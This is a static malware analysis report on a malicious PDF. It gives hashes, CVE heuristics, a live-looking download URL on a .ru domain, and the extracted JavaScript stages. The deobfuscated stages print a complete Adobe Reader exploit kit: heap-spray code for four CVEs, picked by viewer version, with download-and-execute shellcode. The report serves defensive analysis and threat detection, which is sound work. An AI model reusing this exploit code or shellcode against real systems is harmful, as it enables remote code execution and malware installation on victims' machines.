Malicious PDF — malware analysis report

Static analysis result for SHA-256 55060f72b8629f3a…

MALICIOUS

PDF

12.3 KB First seen: 2013-06-07
MD5: 3597ce6a9901a4eaca88496c932468ab SHA-1: 635d8c607031b95d93624792348d70326adbaab6 SHA-256: 55060f72b8629f3aafdca661dd89a4866e5e11a77be62077734d324df75d53bb
490 Risk Score

Malware Insights

The PDF document was flagged by a machine learning classifier with a very high probability of being malicious. Static analysis revealed embedded JavaScript, which is a common technique for executing arbitrary code. The presence of this script suggests the PDF is designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://commercfeed.ru/w.php?f=46&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11445 bytes
SHA-256: acc90a5a9dc58af308e9262f0c7527fe4948500539febf8072e45f0b4caecc5d
Preview script
First 1,000 lines of the extracted script
w='s';
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[75,71,14,65,28,23,58,64,43,22,1,67,61,6,59,59,1,67,10,18,9,29,1,67,61,66,10,18,1,67,13,66,9,29,1,67,9,52,6,29,1,67,6,6,66,10,1,67,59,29,18,72,1,67,29,72,61,28,1,67,61,28,6,72,1,67,72,18,29,72,1,67,13,72,61,28,1,67,66,59,57,18,1,67,13,59,61,28,1,67,6,6,72,61,1,67,59,59,39,28,1,67,66,9,61,28,1,67,72,6,6,18,1,67,6,6,13,29,1,67,61,57,0,18,1,67,57,66,9,9,1,67,10,10,57,72,1,67,28,61,10,10,1,67,29,72,61,28,1,67,18,6,6,72,1,67,6,52,29,59,1,67,13,66,72,59,1,67,61,13,10,28,1,67,0,29,6,29,1,67,9,29,61,66,1,67,66,57,13,66,1,67,9,28,9,52,1,67,66,57,29,18,1,67,61,28,66,59,1,67,6,18,13,66,1,67,13,29,61,28,1,67,13,61,6,66,1,67,10,66,72,6,1,67,61,28,66,59,1,67,0,72,13,59,1,67,10,66,72,6,1,67,18,52,6,6,1,67,29,57,29,52,1,67,71,39,10,18,1,67,18,66,72,6,1,67,39,28,6,6,1,67,28,9,72,10,1,67,6,61,57,72,1,67,13,29,10,0,1,67,18,57,72,61,1,67,72,39,18,28,1,67,39,71,72,6,1,67,9,28,29,72,1,67,6,28,10,57,1,67,13,66,57,10,1,67,66,9,9,59,1,67,66,9,61,28,1,67,72,6,0,29,1,67,59,59,39,39,1,67,72,18,61,28,1,67,61,39,29,28,1,67,9,18,29,59,1,67,66,29,10,10,1,67,72,18,0,29,1,67,39,61,61,28,1,67,39,39,72,6,1,67,72,29,61,28,1,67,72,6,61,28,1,67,71,28,18,66,1,67,66,52,66,9,1,67,9,28,18,6,1,67,71,39,66,6,1,67,59,61,61,28,1,67,61,72,0,72,1,67,72,18,13,39,1,67,13,29,6,6,1,67,52,59,72,6,1,67,10,6,9,28,1,67,59,61,61,28,1,67,61,28,72,61,1,67,59,71,10,13,1,67,66,52,72,66,1,67,52,61,9,61,1,67,10,10,10,10,1,67,9,0,10,10,1,67,9,61,10,52,1,67,72,72,72,72,1,67,72,72,72,72,1,67,66,72,66,61,1,67,29,72,59,71,1,67,10,10,59,61,1,67,72,72,72,72,1,67,66,72,72,72,1,67,18,72,61,6,1,67,66,72,57,52,1,67,61,28,66,66,1,67,61,28,9,18,1,67,57,72,66,9,1,67,18,6,61,6,1,67,10,10,72,66,1,67,59,61,9,6,1,67,59,9,59,10,1,67,72,72,72,72,1,67,13,66,59,61,1,67,59,18,13,0,1,67,66,29,59,39,1,67,57,59,10,10,1,67,18,29,61,6,1,67,61,28,72,61,1,67,9,61,9,61,1,67,10,10,59,57,1,67,10,10,10,10,1,67,72,0,9,28,1,67,13,0,9,28,1,67,9,18,61,57,1,67,72,57,72,29,1,67,72,72,72,72,1,67,66,18,61,39,1,67,72,18,0,29,1,67,72,29,18,13,1,67,13,0,0,29,1,67,59,13,59,66,1,67,18,13,13,6,1,67,0,29,29,29,1,67,13,59,72,29,1,67,6,6,13,0,1,67,18,13,6,0,1,67,0,29,29,29,1,67,0,72,72,61,1,67,13,6,0,39,1,67,66,6,0,72,1,67,10,61,59,61,1,67,72,72,72,72,1,67,10,10,72,72,1,67,72,18,66,59,1,67,9,61,61,28,1,67,18,52,6,6,1,67,18,13,66,57,1,67,57,39,29,29,1,67,13,13,72,72,1,67,59,0,13,72,1,67,18,13,13,29,1,67,57,39,29,29,1,67,0,9,72,66,1,67,59,18,59,29,1,67,18,59,59,18,1,67,57,39,29,29,1,67,72,72,72,52,1,67,61,71,66,52,1,67,72,29,18,57,1,67,61,61,6,72,1,67,57,39,29,29,1,67,29,57,72,29,1,67,59,71,66,57,1,67,59,71,72,72,1,67,66,6,72,72,1,67,59,71,66,13,1,67,10,10,72,72,1,67,57,29,66,59,1,67,18,72,61,66,1,67,57,59,13,66,1,67,72,72,59,71,1,67,10,10,66,6,1,67,72,29,66,59,1,67,72,72,59,71,1,67,9,28,61,6,1,67,66,6,72,18,1,67,66,59,10,10,1,67,61,6,72,29,1,67,72,18,18,6,1,67,72,0,9,28,1,67,57,6,9,28,1,67,61,72,29,13,1,67,72,72,6,10,1,67,10,71,13,66,1,67,61,72,29,13,1,67,72,72,6,10,1,67,18,29,13,66,1,67,72,72,59,71,1,67,10,9,59,71,1,67,66,59,10,10,1,67,9,61,72,61,1,67,10,9,52,18,1,67,10,10,10,10,1,67,29,9,61,9,1,67,9,18,72,9,1,67,10,9,52,61,1,67,72,9,61,71,1,67,59,10,61,52,1,67,28,39,72,57,1,67,18,71,6,6,1,67,66,28,61,71,1,67,18,59,57,28,1,67,13,52,29,59,1,67,57,71,6,59,1,67,13,72,0,10,1,67,13,29,59,61,1,67,13,72,13,29,1,67,0,10,6,71,1,67,59,6,0,10,1,67,59,39,59,10,1,67,59,66,59,39,1,67,59,6,13,0,1,67,59,66,59,59,1,67,59,29,59,66,1,67,13,0,0,9,1,67,0,10,13,66,1,67,0,9,13,13,1,67,59,61,13,72,1,67,6,10,13,72,1,67,6,39,59,59,1,67,6,59,6,29,1,67,59,66,0,59,1,67,6,66,6,39,1,67,72,72,72,72,22,25,10,67,3,18,36,31,33,3,65,9,34,75,14,37,14,71,11,32,38,20,70,27,24,31,60,9,37,14,71,73,60,9,3,64,36,24,30,0,55,32,38,20,70,14,71,4,43,14,71,25,68,14,71,43,14,71,73,58,67,28,58,36,14,31,3,64,37,72,11,32,38,45,0,20,25,14,9,36,67,14,3,65,14,71,25,68,65,10,67,3,18,36,31,33,3,65,28,56,37,20,70,75,71,14,65,39,46,64,43,3,9,27,65,63,14,14,71,38,37,20,25,75,71,14,65,75,27,43,72,56,72,18,72,18,72,18,72,18,25,75,71,14,65,71,39,39,14,43,72,56,29,72,72,72,72,72,25,75,71,14,65,51,71,38,60,33,71,39,43,67,3,9,58,18,71,51,9,37,28,23,58,64,20,25,75,71,14,65,58,18,74,60,9,3,43,51,71,38,60,33,71,39,73,60,9,3,64,36,24,30,0,25,75,71,14,65,32,38,43,71,39,39,14,69,37,58,18,74,60,9,3,4,72,56,6,61,20,25,75,71,14,65,38,71,14,58,51,43,67,3,9,58,18,71,51,9,37,8,1,67,52,72,52,72,1,67,52,72,52,72,8,20,25,38,71,14,58,51,43,9,34,75,14,37,38,71,14,58,51,11,32,38,20,25,75,71,14,65,18,33,67,3,36,0,43,37,75,27,69,72,56,29,72,72,72,72,72,20,45,71,39,39,14,25,10,33,14,37,75,71,14,65,18,33,67,3,36,43,72,25,18,33,67,3,36,55,18,33,67,3,36,0,25,18,33,67,3,36,4,4,20,70,39,46,64,50,18,33,67,3,36,40,43,38,71,14,58,51,4,51,71,38,60,33,71,39,25,68,65,75,71,14,65,33,75,9,14,10,60,33,27,43,67,3,9,58,18,71,51,9,37,8,1,67,72,18,72,18,1,67,72,18,72,18,8,20,25,27,24,31,60,9,37,33,75,9,14,10,60,33,27,73,60,9,3,64,36,24,55,29,29,52,66,0,20,70,33,75,9,14,10,60,33,27,4,43,33,75,9,14,10,60,33,27,25,68,65,36,24,31,58,73,18,33,60,60,71,28,21,36,33,14,9,43,49,33,60,60,71,28,73,18,33,60,60,9,18,36,41,7,71,31,60,47,3,10,33,37,70,58,67,28,23,19,8,8,11,7,58,64,19,33,75,9,14,10,60,33,27,68,20,25,68,65,10,67,3,18,36,31,33,3,65,51,14,31,3,36,10,37,20,70,3,33,51,43,67,3,9,58,18,71,51,9,37,8,1,67,72,63,72,63,1,67,72,63,72,63,1,67,72,63,72,63,1,67,72,63,72,63,8,20,25,75,71,14,65,51,71,38,60,33,71,39,43,67,3,9,58,18,71,51,9,37,28,23,58,64,20,25,24,9,71,51,28,60,33,18,46,43,3,33,51,4,51,71,38,60,33,71,39,25,28,31,64,28,60,33,18,46,43,67,3,9,58,18,71,51,9,37,8,1,67,72,63,72,63,1,67,72,63,72,63,8,20,25,24,9,71,39,9,14,58,31,34,9,43,0,72,25,58,51,14,71,38,43,24,9,71,39,9,14,58,31,34,9,4,24,9,71,51,28,60,33,18,46,73,60,9,3,64,36,24,25,27,24,31,60,9,37,28,31,64,28,60,33,18,46,73,60,9,3,64,36,24,55,58,51,14,71,38,20,70,28,31,64,28,60,33,18,46,4,43,28,31,64,28,60,33,18,46,25,68,65,10,31,60,60,28,60,33,18,46,43,28,31,64,28,60,33,18,46,73,58,67,28,58,36,14,31,3,64,37,72,11,58,51,14,71,38,20,25,28,60,33,18,46,43,28,31,64,28,60,33,18,46,73,58,67,28,58,36,14,31,3,64,37,72,11,28,31,64,28,60,33,18,46,73,60,9,3,64,36,24,69,58,51,14,71,38,20,25,27,24,31,60,9,37,28,60,33,18,46,73,60,9,3,64,36,24,4,58,51,14,71,38,55,72,56,29,72,72,72,72,20,70,28,60,33,18,46,43,28,60,33,18,46,4,28,60,33,18,46,4,10,31,60,60,28,60,33,18,46,25,68,65,7,9,7,43,3,9,27,65,63,14,14,71,38,37,20,25,10,33,14,37,31,43,72,25,31,55,57,29,72,72,25,31,4,4,20,70,7,9,7,50,31,40,43,28,60,33,18,46,4,24,9,71,51,28,60,33,18,46,25,68,65,75,71,14,65,3,67,7,43,57,0,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,25,67,36,31,60,73,51,14,31,3,36,10,37,8,1,29,66,72,72,72,10,8,11,3,67,7,20,25,68,65,10,67,3,18,36,31,33,3,65,64,9,36,31,18,33,3,37,20,70,75,71,14,65,71,14,14,38,43,3,9,27,65,63,14,14,71,38,37,20,25,31,10,37,71,51,51,73,39,33,18,73,49,33,60,60,71,28,73,64,9,36,47,18,33,3,20,70,75,71,14,65,51,71,38,60,33,71,39,43,67,3,9,58,18,71,51,9,37,28,23,58,64,20,25,75,71,14,65,24,2,32,66,72,72,49,48,43,51,71,38,60,33,71,39,73,60,9,3,64,36,24,30,0,25,75,71,14,65,32,38,43,72,56,29,72,72,72,72,72,69,37,24,2,32,66,72,72,49,48,4,72,56,6,61,20,25,75,71,14,65,38,71,14,58,51,43,67,3,9,58,18,71,51,9,37,8,1,67,52,72,52,72,1,67,52,72,52,72,8,20,25,38,71,14,58,51,43,9,34,75,14,37,38,71,14,58,51,11,32,38,20,25,75,71,14,65,51,66,63,23,12,59,66,10,43,37,72,56,72,18,72,18,72,18,72,18,69,72,56,29,72,72,72,72,72,20,45,72,56,29,72,72,72,72,72,25,10,33,14,37,75,71,14,65,75,32,18,42,17,52,59,38,43,72,25,75,32,18,42,17,52,59,38,55,51,66,63,23,12,59,66,10,25,75,32,18,42,17,52,59,38,4,4,20,70,71,14,14,38,50,75,32,18,42,17,52,59,38,40,43,38,71,14,58,51,4,51,71,38,60,33,71,39,25,68,65,75,71,14,65,36,54,15,24,48,28,16,27,43,67,3,9,58,18,71,51,9,37,8,1,72,52,8,20,25,27,24,31,60,9,37,36,54,15,24,48,28,16,27,73,60,9,3,64,36,24,55,72,56,29,72,72,72,20,70,36,54,15,24,48,28,16,27,4,43,36,54,15,24,48,28,16,27,25,68,65,36,54,15,24,48,28,16,27,43,8,48,73,8,4,36,54,15,24,48,28,16,27,25,71,51,51,73,39,33,18,73,49,33,60,60,71,28,73,64,9,36,47,18,33,3,37,36,54,15,24,48,28,16,27,20,25,68,68,65,71,44,60,67,64,31,3,58,43,71,51,51,73,51,60,67,64,47,3,58,25,75,71,14,65,58,75,43,51,71,14,58,9,47,3,36,37,71,51,51,73,75,31,9,27,9,14,62,9,14,58,31,33,3,73,36,33,21,36,14,31,3,64,37,20,73,18,24,71,14,63,36,37,72,20,20,25,10,33,14,37,75,71,14,65,31,43,72,25,31,55,71,44,60,67,64,31,3,58,73,60,9,3,64,36,24,25,31,4,4,20,70,31,10,37,71,44,60,67,64,31,3,58,50,31,40,73,3,71,7,9,43,43,22,41,21,18,14,31,51,36,22,20,70,75,71,14,65,60,75,43,71,44,60,67,64,31,3,58,50,31,40,73,75,9,14,58,31,33,3,25,68,68,65,31,10,37,37,60,75,43,43,52,20,53,53,37,37,58,75,43,43,61,20,35,35,37,60,75,55,43,61,73,57,0,20,20,20,70,64,9,36,31,18,33,3,37,20,25,68,9,60,58,9,65,31,10,37,60,75,43,43,13,73,57,20,70,51,14,31,3,36,10,37,20,25,68,9,60,58,9,65,31,10,37,37,37,58,75,43,43,59,20,53,53,37,58,75,43,43,13,20,20,35,35,37,60,75,55,13,73,57,57,20,20,70,28,56,37,20,25,68,9,60,58,9,65,31,10,37,37,60,75,5,43,52,73,57,20,53,53,37,60,75,55,43,52,73,0,20,53,53,37,60,75,5,43,61,73,57,6,20,53,53,37,60,75,55,43,61,73,57,13,20,20,70,10,67,3,18,36,31,33,3,65,71,37,20,70,67,36,31,60,73,51,14,31,3,36,39,37,22,51,26,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,65,19,65,38,38,38,38,57,57,57,22,11,3,9,27,65,17,71,36,9,37,20,20,25,68,75,71,14,65,24,43,71,51,51,73,51,60,67,64,47,3,58,25,10,33,14,37,75,71,14,65,10,43,72,25,10,55,24,73,60,9,3,64,36,24,25,10,4,4,20,70,31,10,37,24,50,10,40,73,3,71,7,9,43,43,22,41,21,18,14,31,51,36,22,20,70,75,71,14,65,31,43,24,50,10,40,73,75,9,14,58,31,33,3,25,68,68,65,31,10,37,37,31,5,61,73,57,0,20,35,35,37,31,55,61,73,0,20,20,70,18,43,3,9,27,65,63,14,14,71,38,37,20,25,75,71,14,65,39,43,67,3,9,58,18,71,51,9,37,22,1,67,52,72,52,72,1,67,52,72,52,72,22,20,25,75,71,14,65,9,43,67,3,9,58,18,71,51,9,37,28,23,58,64,20,25,27,24,31,60,9,37,39,73,60,9,3,64,36,24,55,43,72,56,61,72,72,72,20,70,39,4,43,39,25,68,39,43,39,73,58,67,28,58,36,14,37,72,11,72,56,61,72,72,72,69,9,73,60,9,3,64,36,24,20,25,10,33,14,37,10,43,72,25,10,55,0,52,72,72,25,10,4,4,20,70,18,50,10,40,43,39,4,9,25,68,71,37,20,25,71,37,20,25,36,14,38,70,36,24,31,58,73,7,9,39,31,71,73,3,9,27,44,60,71,38,9,14,37,3,67,60,60,20,25,68,18,71,36,18,24,37,9,20,70,68,71,37,20,25,68,68];
a="2%Wn+>3m'ef,K7rMGDc:)S'jh;@wb4*iqoz&t(yd]EQ=P/kINC[p9|U<x1s6l8VAg 5u}-{a0._v";
b=
"al";
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3852 bytes
SHA-256: 8cbe497ae97cffd669f5fcec7a7af41c47cfe8913a1bf9a1d10c3ae41113a77a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u632f%u6d6f%u656d%u6372%u6566%u6465%u722e%u2f75%u2e77%u6870%u3f70%u3d66%u3634%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3848 bytes
SHA-256: c3393742e4cf7b8816f218a633762bc8ff25f5d635078beda7613440ff65163a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u632f%u6d6f%u656d%u6372%u6566%u6465%u722e%u2f75%u2e77%u6870%u3f70%u3d66%u3634%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var 